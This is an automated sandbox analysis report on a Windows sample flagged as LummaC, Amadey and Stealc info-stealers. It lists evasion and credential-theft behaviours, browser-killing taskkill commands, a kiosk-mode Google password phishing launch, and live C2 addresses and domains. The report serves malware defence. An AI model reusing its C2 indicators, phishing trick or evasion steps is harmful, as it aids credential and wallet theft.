Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545721
MD5:	c12612c3792dee7b90e2d01ca6e32d2d
SHA1:	acf86245216963952d03d263b99b8ba460fc8a0e
SHA256:	536df35d391272dc912f4f4b37dd7551ea2e549a1e8b3dab20c411c1c8afb7ef
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 744 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C12612C3792DEE7B90E2D01CA6E32D2D)

1664VO856PFRR45SNXLF.exe (PID: 3192 cmdline: "C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe" MD5: 566B3738EDFEF78962A1B77D7FA5A241)

NX5XML9A4AMIPXG5AGRT0AH025A0.exe (PID: 6000 cmdline: "C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe" MD5: 92BAB4277B1265153874BB2E7B41F309)

skotes.exe (PID: 5548 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 92BAB4277B1265153874BB2E7B41F309)

skotes.exe (PID: 3472 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 92BAB4277B1265153874BB2E7B41F309)

skotes.exe (PID: 3288 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 92BAB4277B1265153874BB2E7B41F309)

c1b0009d40.exe (PID: 7060 cmdline: "C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe" MD5: C12612C3792DEE7B90E2D01CA6E32D2D)

DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe (PID: 6820 cmdline: "C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe" MD5: 566B3738EDFEF78962A1B77D7FA5A241)

GCVLAW8OP2HD5YHJC3.exe (PID: 6452 cmdline: "C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe" MD5: 92BAB4277B1265153874BB2E7B41F309)

7a5878ed96.exe (PID: 2220 cmdline: "C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe" MD5: E7E67024404F23389E4052996E08923A)

1dc3787ee3.exe (PID: 3568 cmdline: "C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe" MD5: A5C626CB978C8D7070F00E5EEEAC13F9)

taskkill.exe (PID: 4280 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1360 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 384 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5528 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2132 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3408 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5704 cmdline: "C:\Users\user\AppData\Local\Temp\1002711001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

c1b0009d40.exe (PID: 6308 cmdline: "C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe" MD5: C12612C3792DEE7B90E2D01CA6E32D2D)

I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe (PID: 4708 cmdline: "C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe" MD5: 566B3738EDFEF78962A1B77D7FA5A241)

1QL5CL9NMBWTM5JDZ.exe (PID: 7112 cmdline: "C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe" MD5: 92BAB4277B1265153874BB2E7B41F309)

firefox.exe (PID: 5684 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6468 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1560 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2100 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6837355c-621c-4577-8fde-3e4378469245} 6468 "\\.\pipe\gecko-crash-server-pipe.6468" 2592396dd10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5564 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4176 -parentBuildID 20230927232528 -prefsHandle 4300 -prefMapHandle 4296 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {89000b5d-e12c-48b9-8974-2194eb69f6f5} 6468 "\\.\pipe\gecko-crash-server-pipe.6468" 25935f3c310 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

c1b0009d40.exe (PID: 6552 cmdline: "C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe" MD5: C12612C3792DEE7B90E2D01CA6E32D2D)

7a5878ed96.exe (PID: 5144 cmdline: "C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe" MD5: E7E67024404F23389E4052996E08923A)

1dc3787ee3.exe (PID: 2072 cmdline: "C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe" MD5: A5C626CB978C8D7070F00E5EEEAC13F9)

taskkill.exe (PID: 4984 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6800 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5548 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1052 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5992 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 712 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7096 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4088 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2060 -prefMapHandle 2044 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {866f494e-4395-4791-8c6f-41680297a670} 7096 "\\.\pipe\gecko-crash-server-pipe.7096" 254d1e6f110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["necklacedmny.store", "presticitpo.store", "thumbystriw.store", "founpiuer.store", "scriptyprefej.store", "navygenerayk.store", "fadehairucw.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1002711001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000003.2352124084.00000000055B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001F.00000002.3175826524.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000003.3173096686.0000000001663000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2976096899.0000000001196000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2975895434.0000000001196000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2870739086.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2913077883.000000000104E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2396576521.0000000000DD1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2833491682.000000000133A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2998374022.0000000001195000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2359666990.00000000004D1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2638387077.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2113351077.0000000006126000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000000.3018415386.0000000000191000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2938184062.0000000001195000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000003.3079747725.0000000005000000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.3041700292.00000000010EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2959630451.0000000001195000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.3004771907.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.3169928437.00000000005C1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.2319457250.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2911715801.00000000005C1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.2398844659.0000000000DD1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.3033467651.0000000000191000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000002.3033601352.00000000001AE000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000000.3018510412.00000000001AE000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2358426536.0000000005390000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2998226532.0000000001190000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000003.3151390685.0000000004B10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 744	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 744	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 744	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c1b0009d40.exe PID: 7060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 7a5878ed96.exe PID: 2220	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7a5878ed96.exe PID: 2220	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: c1b0009d40.exe PID: 6308	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c1b0009d40.exe PID: 6308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: c1b0009d40.exe PID: 6308	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 1dc3787ee3.exe PID: 3568	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: c1b0009d40.exe PID: 6552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: num.exe PID: 5704	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 5704	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 7a5878ed96.exe PID: 5144	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 7a5878ed96.exe PID: 5144	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 40 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.skotes.exe.dd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
5.2.skotes.exe.dd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
4.2.NX5XML9A4AMIPXG5AGRT0AH025A0.exe.4d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.7a5878ed96.exe.5c0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
31.2.7a5878ed96.exe.5c0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.2.num.exe.190000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.0.num.exe.190000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3288, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c1b0009d40.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3288, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c1b0009d40.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:08.462450+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-10-30T21:55:09.725209+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-10-30T21:55:19.508714+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	188.114.96.3	443	TCP
2024-10-30T21:56:18.903960+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50232	188.114.96.3	443	TCP
2024-10-30T21:56:20.350372+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50234	188.114.96.3	443	TCP
2024-10-30T21:56:30.883132+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50243	188.114.96.3	443	TCP
2024-10-30T21:56:32.112743+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50244	188.114.96.3	443	TCP
2024-10-30T21:56:34.293372+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50245	188.114.96.3	443	TCP
2024-10-30T21:56:40.825448+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50259	188.114.96.3	443	TCP
2024-10-30T21:56:42.215002+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50262	188.114.96.3	443	TCP
2024-10-30T21:56:45.990163+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50271	188.114.96.3	443	TCP
2024-10-30T21:57:02.586477+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50302	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:08.462450+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-10-30T21:56:18.903960+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50232	188.114.96.3	443	TCP
2024-10-30T21:56:30.883132+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50243	188.114.96.3	443	TCP
2024-10-30T21:56:40.825448+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50259	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:09.725209+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-10-30T21:56:20.350372+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50234	188.114.96.3	443	TCP
2024-10-30T21:56:32.112743+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50244	188.114.96.3	443	TCP
2024-10-30T21:56:42.215002+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50262	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T21:55:07.965622+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	188.114.96.3	443	TCP
2024-10-30T21:55:09.192023+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49705	188.114.96.3	443	TCP
2024-10-30T21:55:10.685628+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49706	188.114.96.3	443	TCP
2024-10-30T21:55:11.967527+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49707	188.114.96.3	443	TCP
2024-10-30T21:55:13.496602+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49708	188.114.96.3	443	TCP
2024-10-30T21:55:15.073097+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49709	188.114.96.3	443	TCP
2024-10-30T21:55:16.720406+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49710	188.114.96.3	443	TCP
2024-10-30T21:55:19.049456+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	49711	188.114.96.3	443	TCP
2024-10-30T21:56:18.000209+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50232	188.114.96.3	443	TCP
2024-10-30T21:56:19.884478+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50234	188.114.96.3	443	TCP
2024-10-30T21:56:21.308957+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50235	188.114.96.3	443	TCP
2024-10-30T21:56:22.672250+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50236	188.114.96.3	443	TCP
2024-10-30T21:56:24.128664+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50237	188.114.96.3	443	TCP
2024-10-30T21:56:26.900613+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50238	188.114.96.3	443	TCP
2024-10-30T21:56:29.180064+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50242	188.114.96.3	443	TCP
2024-10-30T21:56:30.173383+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.5	50243	188.114.96.3	443	TCP
